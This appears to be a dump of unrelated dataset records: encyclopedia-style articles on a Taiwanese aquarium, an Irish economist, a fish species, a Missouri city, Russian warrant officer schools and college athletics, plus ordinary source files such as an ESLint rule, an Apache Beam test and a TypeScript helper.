text
stringlengths 1
22.8M
|
|---|
The National Museum of Marine Biology and Aquarium (NMMBA; ) is the most notable museum and research institution for marine biology in Taiwan, which located in Checheng Township, Pingtung County, Taiwan.
In 2004, NMMBA cooperated with National Dong Hwa University to jointly establish NDHU College of Marine Sciences and Graduate Institute of Marine Biology, which was the first academic partnership between university and museum in Taiwan.
Overview
Planning for the museum began in 1991, and the museum opened on 25 February 2000. In addition to the museum, the park surrounding the museum is an outdoor water park (the largest in Taiwan).
The total area of the park is , while the museum itself covers . The museum has three main exhibits: Waters of Taiwan, Coral Kingdom Pavilion and World Waters Pavilion. The museum also has an underwater moving track, the largest underwater tunnel in Asia. The building also has several major divisions including the experiment center for aquatic life, public facilities, research facilities, maintenance facilities, an international conference center, and an academic research center.
In 2015, NMMBA was rated fourth best of its kind in Asia by TripAdvisor, receiving 4.5 out of 5 stars.
Exhibitions
The museum has three main exhibitions:
Waters of Taiwan
This exhibit hall features aquatic animals native to Taiwan, from waters as small as rivers to as vast as the open sea. The exhibits are themed after the water systems of Taiwan, starting from the river and the reservoir to the intertidal zone and finally to the open sea. There is also a touch pool featuring marine invertebrates in the intertidal exhibit area. Animals on display include tilapia, Japanese eel, trout, cuttlefish, nurse sharks, Indo-Pacific tarpon, yellowfin tuna, spotted eagle rays, and a whale shark. The main ocean tanks contains of sea water, has a acrylic viewing window and an shark tunnel.
Coral Kingdom
The Coral Kingdom exhibit hall shows different coral reef habitats, from shallow waters to deep oceans. Differing environments based on sea depth, pressure, terrain, and light are shown. An underwater tunnel and a sunken ship are also part of the exhibit hall. At the end of exhibit hall is an underwater tunnel and viewing panels showcasing the aquarium's four beluga whales. It is also possible to see the belugas from above water via a pavilion on the second floor. Animals on display include blacktip reef sharks, lionfish, moray eels, cownose rays, unicornfish, butterflyfish, and garden eels. Beluga whales are housed in an exhibit with a tunnel that allows underwater viewing.
Waters of the World
This exhibit covers ancient, Precambrian oceans as well as ocean formation.
Research
Besides public exhibitions, there are two research buildings and a marine station in the museum, dedicated to research in marine biology and ecology, aquaculture, propagation and conservation of marine fauna and flora. Research carried out at NMMBA includes the effects of pollution on coral and fish and the effects of light on the developmental expression of fluorescent proteins.
In 2014, NMMBA became the first institution to breed the ringed pipefish (Dunckerocampus dactyliophorus) in captivity. The museum used underwater caves and fissured corals to provide an environment for the fish to hatch their eggs. In the 11th month after hatching, the first offspring began mating.
In 2018, the museum teamed up with the Frozen Ark global conservation project for freezing the DNA of local species living at the sea of Pingtung County.
Controversies
In March 2013, Environment and Animal Society of Taiwan (EAST) accused NMMBA of keeping its whale shark in a tank that was too small for a deep-water animal. The shark, which is labeled “vulnerable” by the International Union for Conservation of Nature, had been kept at the aquarium since 2004. EAST claimed that the animal has scars on its tail from hitting coral and the sides of the tank. An official at the aquarium stated that there were plans to tag release the shark in the near future.
On 10 July 2013, the aquarium was again criticized for releasing the shark, without a GPS tracking device, in a manner that caused it to be stranded on the beach twice before being towed out to sea. According to an EAST spokesman, "What the aquarium did was not release the whale shark, the aquarium actually abandoned the shark". EAST expressed concern about the shark's ability to fend for itself after eight years in captivity and the lack of a tracking device that would have allowed scientists to follow its progress. According to the head of NMMBA, Wei-hsien Wang, it "didn't occur to us that it would refuse to swim away but rather would linger near the shore".
See also
List of museums in Taiwan
References
External links
2000 establishments in Taiwan
Aquaria in Taiwan
Museums established in 2000
Museums in Pingtung County
Marine Biology and Aquarium
|
```javascript
/**
* @author Yosuke Ota
* See LICENSE file in root directory for full license.
*/
'use strict'
const utils = require('../utils')
const { findVariable } = require('@eslint-community/eslint-utils')
module.exports = {
meta: {
type: 'problem',
docs: {
description: 'enforce properties of `$slots` to be used as a function',
categories: ['vue3-essential'],
url: 'path_to_url
},
fixable: null,
schema: [],
messages: {
unexpected: 'Property in `$slots` should be used as function.'
}
},
/** @param {RuleContext} context */
create(context) {
/**
* Verify the given node
* @param {MemberExpression | Identifier | ChainExpression} node The node to verify
* @param {Expression} reportNode The node to report
*/
function verify(node, reportNode) {
const parent = node.parent
if (
parent.type === 'VariableDeclarator' &&
parent.id.type === 'Identifier'
) {
// const children = this.$slots.foo
verifyReferences(parent.id, reportNode)
return
}
if (
parent.type === 'AssignmentExpression' &&
parent.right === node &&
parent.left.type === 'Identifier'
) {
// children = this.$slots.foo
verifyReferences(parent.left, reportNode)
return
}
if (parent.type === 'ChainExpression') {
// (this.$slots?.foo).x
verify(parent, reportNode)
return
}
if (
// this.$slots.foo.xxx
parent.type === 'MemberExpression' ||
// var [foo] = this.$slots.foo
parent.type === 'VariableDeclarator' ||
// [...this.$slots.foo]
parent.type === 'SpreadElement' ||
// [this.$slots.foo]
parent.type === 'ArrayExpression'
) {
context.report({
node: reportNode,
messageId: 'unexpected'
})
}
}
/**
* Verify the references of the given node.
* @param {Identifier} node The node to verify
* @param {Expression} reportNode The node to report
*/
function verifyReferences(node, reportNode) {
const variable = findVariable(utils.getScope(context, node), node)
if (!variable) {
return
}
for (const reference of variable.references) {
if (!reference.isRead()) {
continue
}
/** @type {Identifier} */
const id = reference.identifier
verify(id, reportNode)
}
}
return utils.defineVueVisitor(context, {
/** @param {MemberExpression} node */
MemberExpression(node) {
const object = utils.skipChainExpression(node.object)
if (object.type !== 'MemberExpression') {
return
}
if (utils.getStaticPropertyName(object) !== '$slots') {
return
}
if (!utils.isThis(object.object, context)) {
return
}
if (node.property.type === 'PrivateIdentifier') {
// Unreachable
return
}
verify(node, node.property)
}
})
}
}
```
|
Thomas Edward Cliffe Leslie (21 June 182527 January 1882) was an Irish jurist and economist. He was professor of jurisprudence and political economy in Queen's College, Belfast, noted for challenging the Wages-Fund doctrine and for addressing contemporary agrarian policy questions. A critic of Ricardian orthodoxy, he said that it had sidelined consumer behaviour and demand. He developed the idea of consumer sovereignty, but insisted that the analysis of demand should be based on historical and comparative institutional work.
Early life
T. E. Cliffe Leslie was born in the county of Wexford, the second son of the Rev. Edward Leslie, prebendary of Dromore, and rector of Annahilt, in the county of Down. His family was of Scottish descent, but had been connected with Ireland since the reign of Charles I. Amongst his ancestors were John Leslie (1571–1671), bishop first of Raphoe and afterwards of Clogher, and the bishop's son Charles Leslie.
Cliffe Leslie received his elementary education from his father, who resided in England, though holding church preferment and some landed property in Ireland. His father taught him Latin, Greek and Hebrew at an unusually early age. Afterwards, for a short time he was under the care of a clergyman at Clapham, and was then sent to King William's College, in the Isle of Man.
He entered the University of Dublin, Trinity College in 1842. He was a distinguished student there, obtaining, besides other honours, a classical scholarship in 1845, and a senior moderatorship (gold medal) in mental and moral philosophy at his degree examination in 1846. He became a law student at Lincoln's Inn, was for two years a pupil in a conveyancers chambers in London, and was called to the English bar. But his attention soon turned from the pursuit of legal practice, for which he seems never to have had much inclination.
Academic career
In 1853, Cliffe Leslie was appointed to the professorship of jurisprudence and political economy in Queen's College, Belfast. The duties of this chair requiring only short visits to Ireland in certain terms of each year, he continued to reside and pursue his studies in London, and became a frequent writer on economic and social questions in the principal reviews and other periodicals.
In 1860 he collected a number of his essays, adding several new ones, into a volume entitled Land Systems and Industrial Economy of Ireland, England and Continental Countries. JS Mill gave a full account of the contents of this work in a paper in the Fortnightly Review, in which he pronounced Leslie to be one of the best living writers on applied political economy. Mill had sought his acquaintance on reading his first article in Macmillan's Magazine; he admired his talents, took pleasure in his society, and treated him with a respect and kindness which Leslie always gratefully acknowledged.
In the frequent visits which Leslie made to the continent, especially to Belgium and some of the less-known districts of France and Germany, he occupied himself much in economic and social observation. He studied the effects of the institutions and system of life which prevailed in each region, on the material and moral condition of its inhabitants. In this way he gained an extensive and accurate acquaintance with continental rural economy, of which he made excellent use in studying parallel phenomena at home. The accounts he gave of the results of his observations were among his happiest efforts; no one, said Mill, was able to write narratives of foreign visits at once so instructive and so interesting. In these excursions he made the acquaintance of several distinguished persons, amongst others of M. Lonce de Lavergne and M. Émile de Laveleye. To the memory of the former of these he afterwards paid a graceful tribute in a biographical sketch (Fortnightly Review, February 1881); and to the close of his life there existed between him and M. de Laveleye relations of mutual esteem and cordial intimacy.
Writings
Leslie's work falls into two categories: applied political economy and the discussion of the philosophical method of the science. The Land Systems and Industrial Economy of Ireland, England and Continental Countries belonged principally to the former division. Two essays of Leslie's appeared in volumes published under the auspices of the Cobden Club. The Land System of France (2nd ed., 1870), contained an earnest defence of la petite culture and still more of la petite propriété. Financial Reform (1871), set forth the impediments to production and commerce arising from indirect taxation. Many other articles were contributed by him to reviews between 1875 and 1879, including several discussions of the history of prices and the movements of wages in Europe, and a sketch of life in Auvergne in his best manner. The most important of them, however, related to the philosophical method of political economy, notably a memorable one which appeared in the Dublin University periodical, Hermathena.
In 1879 the provost and senior fellows of Trinity College published for him a volume in which a number of these articles were collected under the title of Essays in Political and Moral Philosophy. These and some later essays, together with the earlier volume on Land Systems, form the essential contribution of Leslie to economic literature. He had long contemplated, and had in part written, a work on English economic and legal history, which would have been his magnum opus, a more substantial fruit of his genius and his labours than anything he has left. But the manuscript of this treatise, after much pains had already been spent on it, was unaccountably lost at Nancy in 1872; and, though he hoped to be able speedily to reproduce the missing portion and finish the work, no material was left in a state fit for publication. What the nature of it would have been may be gathered from an essay on the History and Future of Profit in the Fortnightly Review for November 1881, which is believed to have been in substance an extract from it.
That he was able to do so much may well be a subject of wonder when it is known that his labours had long been impeded by a painful and depressing malady, from which he suffered severely at intervals, whilst he never felt secure from its recurring attacks. To this disease he in the end succumbed at Belfast, on 27 January 1882.
Cliffe Leslie emphasised the land question as a central issue for the social welfare of both Ireland and England. This volume has both a breadth of view and a rich variety of illustrative detail. His general purpose was to show that the territorial systems of both countries were so encumbered with historical elements of a feudal origin as to be altogether unfit to serve the purposes of a modern industrial society. The policy he recommended is summed up in the following:Had there been in England a simple jurisprudence relating to land, a law of equal intestate succession, a prohibition of entail, a legal security for tenants' improvements, an open registration of title and transfer, a considerable number of peasant properties, the rural economy of England would long since have created unanswerable objections to the Irish land system in the public mind.—The Land Systems, ed. 1870, p. 2
Much of Cliffe Leslie's work concerned the problems of Ireland. He rejected Home Rule as a solution, preferring land reform in favour of small proprietorship.
Method
Cliffe Leslie defended the inductive method in political economy, against the attempt to deduce the economic phenomena of a society from the so-called universal principle of the desire of wealth. English empiricism has a long tradition, dating from David Hume and Francis Bacon. Leslie was of this empirical tendency of British economic thought. He said that[Economics'] fundamental laws ought to be obtained by careful induction, that assumptions from which an unreal order of things and unreal uniformities are deduced cannot be regarded as final or adequate ; and that facts, instead of being irrelevant to the economist's reasoning, are the phenomena from which he must infer his general principles, and by which he ought constantly to verify his deductions.
Further, he spoke of the...necessity of studying every economic problem in conformity with the universal canons of the logic of science – of accepting no assumptions as finally established without proof, none as adequate from which conclusions untrue as matters of fact are found to result, and no chains of deduction from hypothetical premises as possessing more than hypothetical truth, until verified by observation.
The first influence which impelled Cliffe Leslie in the direction of the historical and comparative institutional methods was that of Sir Henry Maine, himself a student of historical jurisprudence as represented by Savigny. Maine's Ancient Law (1861) is famous for the thesis that law and society developed "from status to contract". Maine's personal teaching of jurisprudence, as well as the example of his writings, led Cliffe Leslie to look at the present economic structure and state of society as the result of a long evolution. Of the German economists who represent similar tendencies, only perhaps Roscher was an influence. And the writings of Comte, whom he admired though critically, must have powerfully co-operated to form in him the habit of regarding economic science as only a single branch of sociology.
The earliest writing in which Leslie's revolt against the so-called orthodox school distinctly appears is his Essay on Wages, first published in 1868 and reproduced as an appendix to the volume on Land Systems. In this, after criticism of the Wages-Fund doctrine and the lack of agreement between its results and the observed phenomena, he concludes by declaring that political economy must be an inductive, instead of a purely deductive science. By this change, it will gain in utility, interest and real truth far more than a full compensation for the forfeiture of a fictitious title to mathematical exactness and certainty. But it is in the essays collected in the volume of 1879 that his attitude in relation to the question of method is most decisively marked. In one of these, on the political economy of Adam Smith, he exhibits in a very interesting way the co-existence in The Wealth of Nations of historical-inductive investigation in the manner of Montesquieu with a priori speculation founded on theologico-metaphysical bases, and points out the error of ignoring the former element, which is the really characteristic feature of Smith's social philosophy, and places him in strong contrast with the school of Ricardo.
The essay, however, which contains the most brilliant polemic against the orthodox school, as well as the most luminous account and the most powerful vindication of the new direction, was that of which we have above spoken as having first appeared in Hermathena. It may be recommended as supplying the best extant presentation of one of the two contending views of economic method. On this essay mainly rests the claim of Leslie to be regarded as the founder and first head of the English historical school of political economy. Those who share his views on the philosophical constitution of the science regard the work he did, notwithstanding its unsystematic character, as in reality the most important done by any English economists in the latter half of the 19th century. But even the warmest partisans of the older school acknowledge that he did excellent service by insisting on a kind of inquiry, previously too much neglected, which was of the highest interest and value, in whatever relation it might be supposed to stand to the establishment of economic truth. The members of both groups alike recognised his great learning, his patient and conscientious habits of investigation and the large social spirit in which he treated the problems of his science.
Cliffe Leslie insisted on an inductive, historical and institutional approach, which was in vogue in the late-Nineteenth Century. Even so, a recent assessment views his work in applied economics as complementary to contemporary theoretical work.
Works
The Military Systems of Europe Economically Considered (1856)
"Political Economy and the Rate of Wages", Fraser's Magazine (15 July 1868); Reprinted in Land Systems... (1870) pp. 357–379. On line.
Land Systems and Industrial Economy of Ireland, England and Continental Countries, London, Longmans, Green (1860); new edition, (1870)
The Love of Money (1862) Reprinted in Essays in Political Economy, cited below, p. 189.
"The Political Economy of Adam Smith", Fortnightly Review (1 November 1870)
Financial Reform, Cobden Club Essays, 2nd Series (1871)
"The History of German Political Economy", Fortnightly Review (1 July 1875)
"On the Philosophical Method of Political Economy", Hermathena, Dublin University (1876)
The Land System of France, Cobden Club Essays (1876)
"Political Economy and Sociology", Fortnightly Review (1 January 1879)
Essays in Political and Moral Philosophy, Dublin and London, Hodges, Foster & Figgis and Longmans, Green (1879)
Essays in Political Economy, Dublin, Hodges, Figgis & Co. (1879, 1888)
"Political Economy in the United States", Fortnightly Review (1 October 1880)
"The Irish Land Question", Appleton's Journal (1881)
"History and Future of Profit", Fortnightly Review (November 1881)
References
Sources
F. W. Fetter, "Leslie, T. E. Cliffe", International Encyclopedia of the Social Sciences D. L. Sills (ed.) (Macmillan and Free Press, 1968), vol. 2.
G. M. Koot, English Historical Economics, 1870–1926: The Rise of Economic History and Neomercantilism, Cambridge, Cambridge University Press (1987)
G. M. Koot, "T. E. Cliffe Leslie, Irish Social Reform, and the Origins of the English Historical School of Economics," in James Wilson (1805–1860), Isaac Butt (1813–1879), T. E. Cliffe Leslie (1827–1882), ed. Mark Blaug, Elgar Reference Collection Series, Pioneers in Economics, vol. 22. Aldershot, Elgar pp. 92–116 (1991)
Gregory C. G. Moore, "T. E. Cliffe Leslie and the English Methodenstreit," Journal of the History of Economic Thought 17 pp. 57–77 (Spring 1995)
Geoffrey Martin Hodgson, "The Historical School in the British Isles", How Economics Forgot History: The Problem of Historical Specificity in the Social Sciences, Routledge (2001)
R. D. Collison Black, "The political economy of Thomas Edward Cliffe Leslie (1826–82): a re-assessment", European Journal of the History of Economic Thought, Volume 9, Number 1, pp. 17–41 (1 March 2002)
External links
Works of Thomas Edward Cliffe Leslie available at the Archive for the History of Economic Thought website at McMaster
1825 births
1882 deaths
19th-century Irish economists
English historical school of economics
Scholars and academics from County Wexford
Alumni of Trinity College Dublin
People educated at King William's College
Academics of Queen's University Belfast
|
Pyrrhulina laeta, known as the half-banded pyrrhulina or half-lined pyrrhulina, is a fish found near Pebas, Peru, and in tributaries of the Ampiyacu River. It is frequently confused with other species.
Physical appearance
The ocellated dorsal fin is the most attractive attribute. The back is pale olive, becoming silvery toward the belly. A fine, black line runs from the snout, across the eye to the end of the gill cover, then thickens to a wide band along the body, which suggests its common name, the half-banded pyrrulina. Other fins show blushes of red.
In captivity
A mature male has a more elongated upper caudal fin lobe than the mature female. No record exists of breeding this species in captivity, but the feat is believed possible. The species is not attractive enough to warrant a thorough and intensive effort at breeding, yet with the great contrast of breeding habits in this family it might be interesting to try to induce them to spawn in captivity.
References
Lebiasinidae
Fish of South America
Taxa named by Edward Drinker Cope
Fish described in 1872
|
```xml
<?xml version="1.0" encoding="utf-8"?>
<shape
xmlns:android="path_to_url"
android:shape="rectangle">
<corners android:radius="8dp" />
<solid android:color="@color/universal_overlay" />
</shape>
```
|
```java
/*
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
*
* path_to_url
*
* Unless required by applicable law or agreed to in writing, software
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
*/
package org.apache.beam.examples.complete.game;
import org.apache.beam.examples.complete.game.StatefulTeamScore.UpdateTeamScoreFn;
import org.apache.beam.examples.complete.game.UserScore.GameActionInfo;
import org.apache.beam.sdk.coders.KvCoder;
import org.apache.beam.sdk.coders.StringUtf8Coder;
import org.apache.beam.sdk.extensions.avro.coders.AvroCoder;
import org.apache.beam.sdk.testing.PAssert;
import org.apache.beam.sdk.testing.TestPipeline;
import org.apache.beam.sdk.testing.TestStream;
import org.apache.beam.sdk.transforms.ParDo;
import org.apache.beam.sdk.transforms.windowing.FixedWindows;
import org.apache.beam.sdk.transforms.windowing.GlobalWindow;
import org.apache.beam.sdk.transforms.windowing.IntervalWindow;
import org.apache.beam.sdk.transforms.windowing.Window;
import org.apache.beam.sdk.values.KV;
import org.apache.beam.sdk.values.PCollection;
import org.apache.beam.sdk.values.TimestampedValue;
import org.joda.time.Duration;
import org.joda.time.Instant;
import org.junit.Rule;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.junit.runners.JUnit4;
/** Tests for {@link StatefulTeamScore}. */
@RunWith(JUnit4.class)
public class StatefulTeamScoreTest {
private Instant baseTime = new Instant(0);
@Rule public TestPipeline p = TestPipeline.create();
/** Some example users, on two separate teams. */
private enum TestUser {
RED_ONE("scarlet", "red"),
RED_TWO("burgundy", "red"),
BLUE_ONE("navy", "blue"),
BLUE_TWO("sky", "blue");
private final String userName;
private final String teamName;
TestUser(String userName, String teamName) {
this.userName = userName;
this.teamName = teamName;
}
public String getUser() {
return userName;
}
public String getTeam() {
return teamName;
}
}
/**
* Tests that {@link UpdateTeamScoreFn} {@link org.apache.beam.sdk.transforms.DoFn} outputs
* correctly for one team.
*/
@Test
public void testScoreUpdatesOneTeam() {
TestStream<KV<String, GameActionInfo>> createEvents =
TestStream.create(KvCoder.of(StringUtf8Coder.of(), AvroCoder.of(GameActionInfo.class)))
.advanceWatermarkTo(baseTime)
.addElements(
event(TestUser.RED_TWO, 99, Duration.standardSeconds(10)),
event(TestUser.RED_ONE, 1, Duration.standardSeconds(20)),
event(TestUser.RED_ONE, 0, Duration.standardSeconds(30)),
event(TestUser.RED_TWO, 100, Duration.standardSeconds(40)),
event(TestUser.RED_TWO, 201, Duration.standardSeconds(50)))
.advanceWatermarkToInfinity();
PCollection<KV<String, Integer>> teamScores =
p.apply(createEvents).apply(ParDo.of(new UpdateTeamScoreFn(100)));
String redTeam = TestUser.RED_ONE.getTeam();
PAssert.that(teamScores)
.inWindow(GlobalWindow.INSTANCE)
.containsInAnyOrder(KV.of(redTeam, 100), KV.of(redTeam, 200), KV.of(redTeam, 401));
p.run().waitUntilFinish();
}
/**
* Tests that {@link UpdateTeamScoreFn} {@link org.apache.beam.sdk.transforms.DoFn} outputs
* correctly for multiple teams.
*/
@Test
public void testScoreUpdatesPerTeam() {
TestStream<KV<String, GameActionInfo>> createEvents =
TestStream.create(KvCoder.of(StringUtf8Coder.of(), AvroCoder.of(GameActionInfo.class)))
.advanceWatermarkTo(baseTime)
.addElements(
event(TestUser.RED_ONE, 50, Duration.standardSeconds(10)),
event(TestUser.RED_TWO, 50, Duration.standardSeconds(20)),
event(TestUser.BLUE_ONE, 70, Duration.standardSeconds(30)),
event(TestUser.BLUE_TWO, 80, Duration.standardSeconds(40)),
event(TestUser.BLUE_TWO, 50, Duration.standardSeconds(50)))
.advanceWatermarkToInfinity();
PCollection<KV<String, Integer>> teamScores =
p.apply(createEvents).apply(ParDo.of(new UpdateTeamScoreFn(100)));
String redTeam = TestUser.RED_ONE.getTeam();
String blueTeam = TestUser.BLUE_ONE.getTeam();
PAssert.that(teamScores)
.inWindow(GlobalWindow.INSTANCE)
.containsInAnyOrder(KV.of(redTeam, 100), KV.of(blueTeam, 150), KV.of(blueTeam, 200));
p.run().waitUntilFinish();
}
/**
* Tests that {@link UpdateTeamScoreFn} {@link org.apache.beam.sdk.transforms.DoFn} outputs
* correctly per window and per key.
*/
@Test
public void testScoreUpdatesPerWindow() {
TestStream<KV<String, GameActionInfo>> createEvents =
TestStream.create(KvCoder.of(StringUtf8Coder.of(), AvroCoder.of(GameActionInfo.class)))
.advanceWatermarkTo(baseTime)
.addElements(
event(TestUser.RED_ONE, 50, Duration.standardMinutes(1)),
event(TestUser.RED_TWO, 50, Duration.standardMinutes(2)),
event(TestUser.RED_ONE, 50, Duration.standardMinutes(3)),
event(TestUser.RED_ONE, 60, Duration.standardMinutes(6)),
event(TestUser.RED_TWO, 60, Duration.standardMinutes(7)))
.advanceWatermarkToInfinity();
Duration teamWindowDuration = Duration.standardMinutes(5);
PCollection<KV<String, Integer>> teamScores =
p.apply(createEvents)
.apply(Window.<KV<String, GameActionInfo>>into(FixedWindows.of(teamWindowDuration)))
.apply(ParDo.of(new UpdateTeamScoreFn(100)));
String redTeam = TestUser.RED_ONE.getTeam();
IntervalWindow window1 = new IntervalWindow(baseTime, teamWindowDuration);
IntervalWindow window2 = new IntervalWindow(window1.end(), teamWindowDuration);
PAssert.that(teamScores).inWindow(window1).containsInAnyOrder(KV.of(redTeam, 100));
PAssert.that(teamScores).inWindow(window2).containsInAnyOrder(KV.of(redTeam, 120));
p.run().waitUntilFinish();
}
private TimestampedValue<KV<String, GameActionInfo>> event(
TestUser user, int score, Duration baseTimeOffset) {
return TimestampedValue.of(
KV.of(
user.getTeam(),
new GameActionInfo(
user.getUser(), user.getTeam(), score, baseTime.plus(baseTimeOffset).getMillis())),
baseTime.plus(baseTimeOffset));
}
}
```
|
Scott City is a city in Cape Girardeau and Scott counties in the U.S. state of Missouri. The population was 4,346 at the 2020 census. The Scott County portion of Scott City (the majority) is part of the Sikeston Micropolitan Statistical Area, while the Cape Girardeau County portion is part of the Cape Girardeau–Jackson, MO-IL Metropolitan Statistical Area.
History
The town of Fornfelt and the area of Ancell were consolidated with Scott City March 7, 1960 while Illmo, Missouri, was incorporated into Scott City in 1980. The town of Fornfelt was previously known as Edna, but this name was changed as it was too similar to Edina, Missouri. Whipporwhill Hollow was the previous name of Illmo. The present name is derived from Scott County.
In December 1848, a cholera epidemic was brought to New Orleans by emigrant ships. Within a few weeks, it was carried to all the principal cities on the Ohio and Mississippi Rivers. Six of the victims were Irish monks headed to a monastery near Dubuque, Iowa. These monks were buried a few hundred yards northwest of the Thebes-Scott City railroad bridge.
Geography
According to the United States Census Bureau, the city has a total area of , of which is land and is water.
Demographics
2010 census
At the 2010 census there were 4,565 people, 1,794 households, and 1,245 families living in the city. The population density was . There were 2,002 housing units at an average density of . The racial makeup of the city was 96.93% White, 0.68% Black or African American, 0.26% Native American, 0.24% Asian, 0.83% from other races, and 1.05% from two or more races. Hispanic or Latino of any race were 1.45%.
Of the 1,794 households 36.2% had children under the age of 18 living with them, 50.2% were married couples living together, 14.4% had a female householder with no husband present, 4.8% had a male householder with no wife present, and 30.6% were non-families. 26.1% of households were one person and 11% were one person aged 65 or older. The average household size was 2.54 and the average family size was 3.02.
The median age was 36.3 years. 25.6% of residents were under the age of 18; 9.1% were between the ages of 18 and 24; 27.3% were from 25 to 44; 24.8% were from 45 to 64; and 13.2% were 65 or older. The gender makeup of the city was 48.3% male and 51.7% female.
2000 census
At the 2000 census there were 4,591 people, 1,801 households, and 1,287 families living in the city. The population density was . There were 1,953 housing units at an average density of . The racial makeup of the city was 98.26% White, 0.39% African American, 0.37% Native American, 0.04% Asian, 0.13% from other races, and 0.81% from two or more races. Hispanic or Latino of any race were 0.63%.
Of the 1,801 households 35.1% had children under the age of 18 living with them, 53.8% were married couples living together, 13.3% had a female householder with no husband present, and 28.5% were non-families. 24.8% of households were one person and 10.5% were one person aged 65 or older. The average household size was 2.54 and the average family size was 3.02.
The age distribution was 26.6% under the age of 18, 9.0% from 18 to 24, 29.1% from 25 to 44, 22.9% from 45 to 64, and 12.4% 65 or older. The median age was 35 years. For every 100 females, there were 92.7 males. For every 100 females age 18 and over, there were 87.6 males.
The median household income was $31,958 and the median family income was $36,763. Males had a median income of $30,088 versus $17,061 for females. The per capita income for the city was $15,099. About 8.6% of families and 12.8% of the population were below the poverty line, including 22.6% of those under age 18 and 13.5% of those age 65 or over.
Government
Presidential
Education
Scott City R-I School District includes the majority of Scott City in Scott County. operates Scott City Elementary School, Scott City Middle School, and Scott City High School. A portion of Scott City in Scott County is in the Kelso C-7 School District. The portion of Scott City in Cape Girardeau County is in the Cape Girardeau 63 School District, which operates Central High School.
Scott City has a public library, a branch of the Riverside Regional Library.
References
External links
Cape Girardeau
Cities in Cape Girardeau County, Missouri
Cities in Scott County, Missouri
Cape Girardeau–Jackson metropolitan area
Cities in Missouri
|
Warrant officer schools of the Russian Armed Forces conduct warrant officer training programmes. Education acquired at such schools is vocational military education (level 4 according to the International Standard Classification of Education). The duration of studies is 2 years and 6–10 months.
Graduates of these schools are granted the military rank of praporshchik/michman.
History
Warrant officers schools were established by Minister of Defence Order of 20 December 1980 No.365. Only enlisted personnel and non-commissioned officers, finished their military service as conscripts, could be accepted to enter warrant officers schools. The period of training was ten and half months.
The Minister of Defence Order of 20 December 1980 No.365 was replaced by the Minister of Defence Order of 27 December 2004 No.452. Only volunteer enlisted personnel and non-commissioned officers could be accepted to enter warrant officers schools.
All warrant officers schools ceased their educational activity in the framework of the Serdyukov reform. In 2013, new Minister of Defence Sergei Shoigu decided to restore the institution of warrant officers. New staff complement, which included warrant officers positions, was approved in July of the same year. Warrant officers training began to be carried out by special educational divisions within the structure of higher military schools and academies. The duration of studies extended to 2 years and 6–10 months. The admission became available not only for active duty enlisted personnel and non-commissioned officers (volunteers and conscripts) but also for civilians graduated from secondary schools.
List of Russian military educational institutions conducting warrant officer training programmes
General-purpose warrant officer schools
Krasnodar Higher Military School named for Army General S.M. Shtemenko
Military Institute of Physical Culture
Military University of Radioelectronics
Warrant officer schools of the Ground Forces
Budyonny Military Academy of the Signal Corps
Far Eastern Higher Combined Arms Command School
Mikhailovskaya Military Artillery Academy
Military Academy of Field Anti-Aircraft Defense
Military Logistics Academy
NBC Protection Military Academy
Tyumen Higher Military Engineer Command School named after A.I. Proshlyakov
Warrant officer schools of the Navy
Kuznetsov Naval Academy
Nakhimov Higher Naval School
Pacific Higher Naval School
Warrant officer schools of the Aerospace Forces
A.F. Mozhaysky Military-Space Academy
Warrant officer schools of the Airborne Forces
Ryazan Guards Higher Airborne Command School
References
External links
List of Russian military educational institutions
Military education and training in Russia
Non-commissioned officers
|
```javascript
/**
*/
var tests = [
() => {
// erroneous typcasts raise errors...
var n = ("hey" : number);
// ...but 'any' does dynamic downcasts, if you must
var x: number = ("hey": any);
var y = (("hey": any): number);
},
() => {
// typecasts in sequences
// (parens always required around typecasts)
var s: string = ((0: number), ("hey": string));
},
() => {
// TODO pending array element inference issues
// control case:
// var a : Array<?number> = [0, 1, 2, 3, 4, 5, 6, 7, null];
// typecast case:
// var b = [(0 : ?number), 1, 2, 3, 4, 5, 6, 7, null];
}
];
```
|
```xml
import { removeAll, removeMultiple } from '../shared/data.js';
import { isUndefined, isString } from '../shared/helper.js';
import type { TypeOrArray } from '../shared/helper.js';
/**
*
* @param element
* @param name
*
*
*
*
*
@example
```js
// name
removeData(document.body, 'name');
```
* @example
```js
// name1 name2
removeData(document.body, 'name1 name2');
```
* @example
```js
// name1 name2
removeData(document.body, ['name1', 'name2']);
```
* @example
```js
//
removeData(document.body);
```
*/
export const removeData = (
element: Element | Document | Window,
name?: TypeOrArray<string>,
): void => {
if (isUndefined(name)) {
return removeAll(element);
}
const keys = isString(name)
? name.split(' ').filter((nameItem) => nameItem)
: name;
removeMultiple(element, keys);
};
```
|
The American International Yellow Jackets is composed of 22 teams representing American International College in intercollegiate athletics, including men’s and women's basketball, cross country, golf, lacrosse, soccer, track and field, and volleyball. Men's sports include baseball, football, ice hockey, and wrestling. Women's sports include field hockey, rugby, softball, and tennis. The Yellow Jackets compete in NCAA Division II and are members of the Northeast-10 Conference for all sports except ice hockey, which competes in NCAA Division I; men's volleyball, which competes as a de facto Division I member in the East Coast Conference; men's wrestling, which is an NCAA Division II Independent; and women's triathlon, which competes as a de facto Division I independent. The men's ice hockey team is a member of Atlantic Hockey Division I.
History
The Yellow Jackets started competing in the 1933–1934 academic season in football, men's basketball and baseball. Men's soccer was added just one year later. The athletic department grew to five teams in the winter of 1948 when the Yellow Jackets started their ice hockey team.
Twenty years later, AIC introduced its first women's sport, softball. Judy Groff was introduced as the first softball coach, a position she held for 42 seasons. Volleyball, which was invented down the road in Holyoke, Massachusetts, started in the fall of 1974 with Groff also taking the reins.
In the 1977–1978 school year, AIC began competing in women's basketball and men's golf. It would be seven years before the athletic department grew again when they added women's soccer for the 1985 school year.
With the emergence of lacrosse in the Northeast, the Yellow Jackets added men's lacrosse in the spring of 1992. In 1996-97, field hockey and women's lacrosse were added to the department to bring the women's teams total to six.
Ten years later, the Yellow Jackets added six teams to their already extensive department in men's and women's cross country, men's and women's indoor track, and men's and women's outdoor track.
In 2018, the department added women's golf.
With the backing of USA Triathlon, American International College became the 24th team in the nation to introduce a women's varsity triathlon program to its athletic department, Director of Athletics Matthew Johnson announced on Tuesday, May 29 AIC expected competition to begin in the fall of 2019.
During the fall of 2020, the department announced the addition of men's volleyball as the 26th sport sponsored by the department. The team started play in January 2022.
Varsity sports
NCAA appearances
Ice Hockey: 2019, 2021, 2022
Baseball: 1991
Men's Basketball: 1966, 1967, 1968, 1969, 1970, 1983, 1984, 1985, 1994, 2000, 2010, 2015
